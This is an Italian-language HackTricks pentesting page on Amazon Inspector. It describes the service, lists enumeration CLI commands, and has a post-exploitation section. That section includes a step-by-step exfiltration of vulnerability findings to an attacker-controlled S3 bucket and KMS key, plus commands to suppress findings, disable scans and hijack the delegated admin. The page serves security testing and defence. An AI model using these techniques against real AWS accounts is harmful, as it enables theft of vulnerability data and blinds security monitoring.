AWS - Inspector Enum

AWS - Enumerazione di Inspector

Sostieni HackTricks

Inspector

Amazon Inspector è un servizio avanzato di gestione automatica delle vulnerabilità progettato per migliorare la sicurezza del tuo ambiente AWS. Questo servizio esegue scansioni continue delle istanze Amazon EC2, delle immagini dei container in Amazon ECR, di Amazon ECS e delle funzioni AWS Lambda per individuare vulnerabilità ed esposizioni di rete indesiderate. Sfruttando un robusto database di intelligence sulle vulnerabilità, Amazon Inspector fornisce dettagliate segnalazioni, inclusi livelli di gravità e raccomandazioni di correzione, che aiutano le organizzazioni a identificare e affrontare proattivamente i rischi per la sicurezza. Questo approccio completo garantisce una postura di sicurezza rafforzata su vari servizi AWS, contribuendo alla conformità e alla gestione dei rischi.

Elementi chiave

Segnalazioni

Le segnalazioni in Amazon Inspector sono dettagliate relazioni sulle vulnerabilità e le esposizioni scoperte durante la scansione delle istanze EC2, dei repository ECR o delle funzioni Lambda. In base al loro stato, le segnalazioni sono categorizzate come:

  • Attive: La segnalazione non è stata corretta.

  • Chiuse: La segnalazione è stata corretta.

  • Soppresso: La segnalazione è stata contrassegnata con questo stato a causa di una o più regole di soppressione.

Le segnalazioni sono anche categorizzate nei seguenti tre tipi:

  • Pacchetto: Queste segnalazioni riguardano vulnerabilità nei pacchetti software installati sulle tue risorse. Esempi includono librerie obsolete o dipendenze con problemi di sicurezza noti.

  • Codice: Questa categoria include vulnerabilità trovate nel codice delle applicazioni in esecuzione sulle tue risorse AWS. Gli errori comuni sono errori di codifica o pratiche non sicure che potrebbero portare a violazioni della sicurezza.

  • Rete: Le segnalazioni di rete identificano esposizioni potenziali nelle configurazioni di rete che potrebbero essere sfruttate dagli attaccanti. Queste includono porte aperte, protocolli di rete non sicuri e gruppi di sicurezza configurati in modo errato.

Filtri e Regole di soppressione

I filtri e le regole di soppressione in Amazon Inspector aiutano a gestire e prioritizzare le segnalazioni. I filtri ti consentono di raffinare le segnalazioni in base a criteri specifici, come gravità o tipo di risorsa. Le regole di soppressione ti consentono di sopprimere determinate segnalazioni considerate a basso rischio, che sono già state mitigate o per qualsiasi altro motivo importante, evitando che sovraccarichino i tuoi rapporti di sicurezza e consentendoti di concentrarti su questioni più critiche.

Elenco delle componenti software (SBOM)

Un Elenco delle componenti software (SBOM) in Amazon Inspector è un elenco di inventario nidificato esportabile che dettaglia tutti i componenti all'interno di un pacchetto software, inclusi librerie e dipendenze. Gli SBOM aiutano a fornire trasparenza nella catena di approvvigionamento del software, consentendo una migliore gestione delle vulnerabilità e la conformità. Sono cruciali per identificare e mitigare i rischi associati a componenti software open source e di terze parti.

Funzionalità chiave

Esporta segnalazioni

Amazon Inspector offre la possibilità di esportare le segnalazioni in Bucket Amazon S3, Amazon EventBridge e AWS Security Hub, consentendoti di generare dettagliati rapporti sulle vulnerabilità e le esposizioni identificate per ulteriori analisi o condivisione in una data e ora specifiche. Questa funzionalità supporta vari formati di output come CSV e JSON, facilitando l'integrazione con altri strumenti e sistemi. La funzionalità di esportazione consente la personalizzazione dei dati inclusi nei rapporti, consentendoti di filtrare le segnalazioni in base a criteri specifici come gravità, tipo di risorsa o intervallo di date e includendo per impostazione predefinita tutte le tue segnalazioni nella regione AWS corrente con stato Attivo.

Quando si esportano le segnalazioni, è necessaria una chiave del servizio di gestione delle chiavi (KMS) per crittografare i dati durante l'esportazione. Le chiavi KMS garantiscono che le segnalazioni esportate siano protette dall'accesso non autorizzato, fornendo un ulteriore livello di sicurezza per le informazioni sensibili sulle vulnerabilità.

Scansione delle istanze Amazon EC2

Amazon Inspector offre robuste capacità di scansione per le istanze Amazon EC2 per rilevare vulnerabilità e problemi di sicurezza. Inspector confronta i metadati estratti dall'istanza EC2 con le regole degli avvisi di sicurezza al fine di produrre vulnerabilità dei pacchetti e problemi di raggiungibilità di rete. Queste scansioni possono essere eseguite tramite metodi basati su agente o senza agente, a seconda della configurazione delle impostazioni della modalità di scansione del tuo account.

  • Basato su agente: Utilizza l'agente AWS Systems Manager (SSM) per eseguire scansioni approfondite. Questo metodo consente una raccolta e un'analisi approfondite dei dati direttamente dall'istanza.

  • Senza agente: Fornisce un'alternativa leggera che non richiede l'installazione di un agente sull'istanza, creando uno snapshot EBS di ogni volume dell'istanza EC2, cercando vulnerabilità e quindi eliminandolo; sfruttando l'infrastruttura AWS esistente per la scansione.

La modalità di scansione determina quale metodo verrà utilizzato per eseguire le scansioni EC2:

  • Basato su agente: Coinvolge l'installazione dell'agente SSM sulle istanze EC2 per un'ispezione approfondita.

  • Scansione ibrida: Combina entrambi i metodi basati su agente e senza agente per massimizzare la copertura e minimizzare l'impatto sulle prestazioni. Nelle istanze EC2 in cui è installato l'agente SSM, Inspector eseguirà una scansione basata su agente e per quelle in cui non c'è l'agente SSM, la scansione eseguita sarà senza agente.

Un'altra funzionalità importante è l'ispezione approfondita per le istanze Linux EC2. Questa funzionalità offre un'analisi approfondita del software e della configurazione delle istanze Linux EC2, fornendo valutazioni dettagliate delle vulnerabilità, inclusi vulnerabilità del sistema operativo, vulnerabilità dell'applicazione e configurazioni errate, garantendo una valutazione della sicurezza completa. Questo viene realizzato attraverso l'ispezione dei percorsi personalizzati e di tutte le relative sottodirectory. Per impostazione predefinita, Amazon Inspector eseguirà la scansione dei seguenti, ma ciascun account membro può definire fino a 5 percorsi personalizzati in più e ciascun amministratore delegato fino a 10:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Scansione delle immagini dei container Amazon ECR

Amazon Inspector fornisce robuste capacità di scansione per le immagini dei container Amazon Elastic Container Registry (ECR), garantendo che le vulnerabilità dei pacchetti siano rilevate e gestite in modo efficiente.

  • Scansione di base: Si tratta di una scansione rapida e leggera che identifica vulnerabilità note dei pacchetti OS nelle immagini dei container utilizzando un set standard di regole del progetto open-source Clair. Con questa configurazione di scansione, i tuoi repository verranno scansionati al push o eseguendo scansioni manuali.

  • Scansione avanzata: Questa opzione aggiunge la funzionalità di scansione continua oltre alla scansione al push. La scansione avanzata esplora più in profondità i livelli di ciascuna immagine del container per identificare vulnerabilità nei pacchetti OS e nei pacchetti dei linguaggi di programmazione con maggiore precisione. Analizza sia l'immagine di base che eventuali livelli aggiuntivi, fornendo una visione completa dei potenziali problemi di sicurezza.

Scansione delle funzioni Lambda di Amazon

Amazon Inspector include capacità di scansione complete per le funzioni AWS Lambda e i suoi livelli, garantendo la sicurezza e l'integrità delle applicazioni serverless. Inspector offre due tipi di scansione per le funzioni Lambda:

  • Scansione standard Lambda: Questa funzionalità predefinita identifica vulnerabilità software nelle dipendenze del pacchetto dell'applicazione aggiunte alla tua funzione Lambda e ai livelli. Ad esempio, se la tua funzione utilizza una versione di una libreria come python-jwt con una vulnerabilità nota, genera una segnalazione.

  • Scansione del codice Lambda: Analizza il codice dell'applicazione personalizzato per problemi di sicurezza, individuando vulnerabilità come difetti di iniezione, fughe di dati, crittografia debole e mancanza di crittografia. Cattura frammenti di codice evidenziando le vulnerabilità rilevate, come credenziali codificate duramente. Le segnalazioni includono dettagliate suggerimenti di correzione e frammenti di codice per risolvere i problemi.

Scansioni del Center for Internet Security (CIS)

Amazon Inspector include scansioni CIS per confrontare i sistemi operativi delle istanze Amazon EC2 con le raccomandazioni delle migliori pratiche del Center for Internet Security (CIS). Queste scansioni garantiscono che le configurazioni rispettino i basi di sicurezza standard del settore.

  • Configurazione: Le scansioni CIS valutano se le configurazioni di sistema rispettano le raccomandazioni specifiche del CIS Benchmark, con ciascun controllo collegato a un ID e titolo del controllo CIS.

  • Esecuzione: Le scansioni vengono eseguite o pianificate in base ai tag delle istanze e agli orari definiti.

  • Risultati: I risultati post-scansione indicano quali controlli sono stati superati, saltati o falliti, fornendo informazioni sulla postura di sicurezza di ciascuna istanza.

Enumerazione

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Esploitation

Dal punto di vista di un attaccante, questo servizio può aiutare l'attaccante a trovare vulnerabilità ed esposizioni di rete che potrebbero aiutarlo a compromettere altre istanze/container.

Tuttavia, un attaccante potrebbe anche essere interessato a interrompere questo servizio in modo che la vittima non possa vedere le vulnerabilità (tutte o specifiche).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

Un attaccante potrebbe generare report dettagliati sulle vulnerabilità o il software bill of materials (SBOM) ed esfiltrarli dal tuo ambiente AWS. Queste informazioni potrebbero essere sfruttate per identificare debolezze specifiche, software obsoleti o dipendenze non sicure, consentendo attacchi mirati.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

Il seguente esempio mostra come esfiltrare tutte le scoperte attive da Amazon Inspector a un Bucket Amazon S3 controllato dall'attaccante con una chiave Amazon KMS controllata dall'attaccante:

  1. Creare un Bucket Amazon S3 e allegare una policy ad esso per renderlo accessibile dall'Amazon Inspector della vittima:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Creare una chiave Amazon KMS e allegare una policy ad essa in modo che possa essere utilizzata dall'Amazon Inspector della vittima:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. Esegui il comando per creare il report delle scoperte esfiltrandolo:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • Impatto Potenziale: Generazione ed esfiltrazione di report dettagliati sulle vulnerabilità e sul software, ottenendo informazioni specifiche su vulnerabilità e debolezze della sicurezza.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

Un attaccante potrebbe annullare la generazione del report delle vulnerabilità specificate o del report SBOM, impedendo alle squadre di sicurezza di ricevere tempestivamente informazioni sulle vulnerabilità e sui materiali di bilancio del software (SBOM), ritardando il rilevamento e la correzione dei problemi di sicurezza.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • Impatto Potenziale: Interruzione del monitoraggio della sicurezza e prevenzione della tempestiva individuazione e risoluzione dei problemi di sicurezza.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

Un attaccante con queste autorizzazioni sarebbe in grado di manipolare le regole di filtraggio che determinano quali vulnerabilità e problemi di sicurezza vengono segnalati o soppressi (se l'azione è impostata su SUPPRESS, verrebbe creata una regola di soppressione). Ciò potrebbe nascondere vulnerabilità critiche agli amministratori di sicurezza, facilitando lo sfruttamento di queste debolezze senza essere rilevati. Modificando o rimuovendo filtri importanti, un attaccante potrebbe anche creare rumore inondando il sistema con risultati non rilevanti, ostacolando il monitoraggio e la risposta alla sicurezza in modo efficace.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • Impatto Potenziale: Occultamento o soppressione di vulnerabilità critiche, o inondazione del sistema con risultati non rilevanti.

inspector2:DisabilitaAccountAdminDelegato, (inspector2:AbilitaAccountAdminDelegato & organizations:ElencaAmministratoriDelegati & organizations:AbilitaAccessoServizioAWS & iam:CreaRuoloCollegatoAlServizio)

Un attaccante potrebbe interrompere significativamente la struttura di gestione della sicurezza.

  • Disabilitando l'account admin delegato, l'attaccante potrebbe impedire al team di sicurezza di accedere e gestire le impostazioni e i report di Amazon Inspector.

  • Abilitando un account admin non autorizzato, un attaccante potrebbe controllare le configurazioni di sicurezza, disabilitare potenzialmente le scansioni o modificare le impostazioni per nascondere attività dannose.

È necessario che l'account non autorizzato sia nella stessa Organizzazione della vittima per diventare l'amministratore delegato.

Affinché l'account non autorizzato diventi l'amministratore delegato, è anche necessario che dopo che il legittimo amministratore delegato è disabilitato, e prima che l'account non autorizzato venga abilitato come amministratore delegato, il legittimo amministratore debba essere deregistrato come amministratore delegato dall'organizzazione. Questo può essere fatto con il seguente comando (permesso richiesto organizations:DeregistraAmministratoreDelegato): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • Impatto Potenziale: Disruzione della gestione della sicurezza.

inspector2:AssociateMember, inspector2:DisassociateMember

Un attaccante potrebbe manipolare l'associazione di account membri all'interno di un'organizzazione Amazon Inspector. Associando account non autorizzati o disassociando quelli legittimi, un attaccante potrebbe controllare quali account sono inclusi nelle scansioni di sicurezza e nella segnalazione. Ciò potrebbe portare a escludere account critici dal monitoraggio della sicurezza, consentendo all'attaccante di sfruttare vulnerabilità in quegli account senza essere rilevato.

Questa azione richiede di essere eseguita dall'amministratore delegato.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • Impatto Potenziale: Esclusione di account chiave dalle scansioni di sicurezza, consentendo l'esplorazione non rilevata delle vulnerabilità.

inspector2:Disabilita, (inspector2:Abilita & iam:CreaRuoloCollegatoAlServizio)

Un attaccante con il permesso inspector2:Disabilita sarebbe in grado di disabilitare le scansioni di sicurezza su tipi di risorse specifici (EC2, ECR, Lambda, codice Lambda) sugli account specificati, lasciando parti dell'ambiente AWS non monitorate e vulnerabili agli attacchi. Inoltre, possedendo i permessi inspector2:Abilita e iam:CreaRuoloCollegatoAlServizio, un attaccante potrebbe quindi riabilitare le scansioni selettivamente per evitare la rilevazione di configurazioni sospette.

Questa azione deve essere eseguita dall'amministratore delegato.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • Impatto Potenziale: Creazione di punti ciechi nel monitoraggio della sicurezza.

inspector2:UpdateOrganizationConfiguration

Un attaccante con questa autorizzazione sarebbe in grado di aggiornare le configurazioni per l'organizzazione Amazon Inspector, influenzando le funzionalità di scansione predefinite abilitate per i nuovi account membri.

Questa azione richiede di essere eseguita dall'amministratore delegato.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • Impatto Potenziale: Modificare le politiche di scansione di sicurezza e le configurazioni per l'organizzazione.

inspector2:TagResource, inspector2:UntagResource

Un attaccante potrebbe manipolare i tag sulle risorse di AWS Inspector, che sono fondamentali per organizzare, tracciare e automatizzare le valutazioni di sicurezza. Modificando o rimuovendo i tag, un attaccante potrebbe potenzialmente nascondere vulnerabilità dalle scansioni di sicurezza, interrompere la segnalazione di conformità e interferire con i processi di rimedio automatizzati, portando a problemi di sicurezza non controllati e compromettendo l'integrità del sistema.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Impatto Potenziale: Occultamento delle vulnerabilità, interruzione della segnalazione di conformità, interruzione dell'automazione della sicurezza e interruzione dell'allocazione dei costi.

Riferimenti

Sostieni HackTricks

Last updated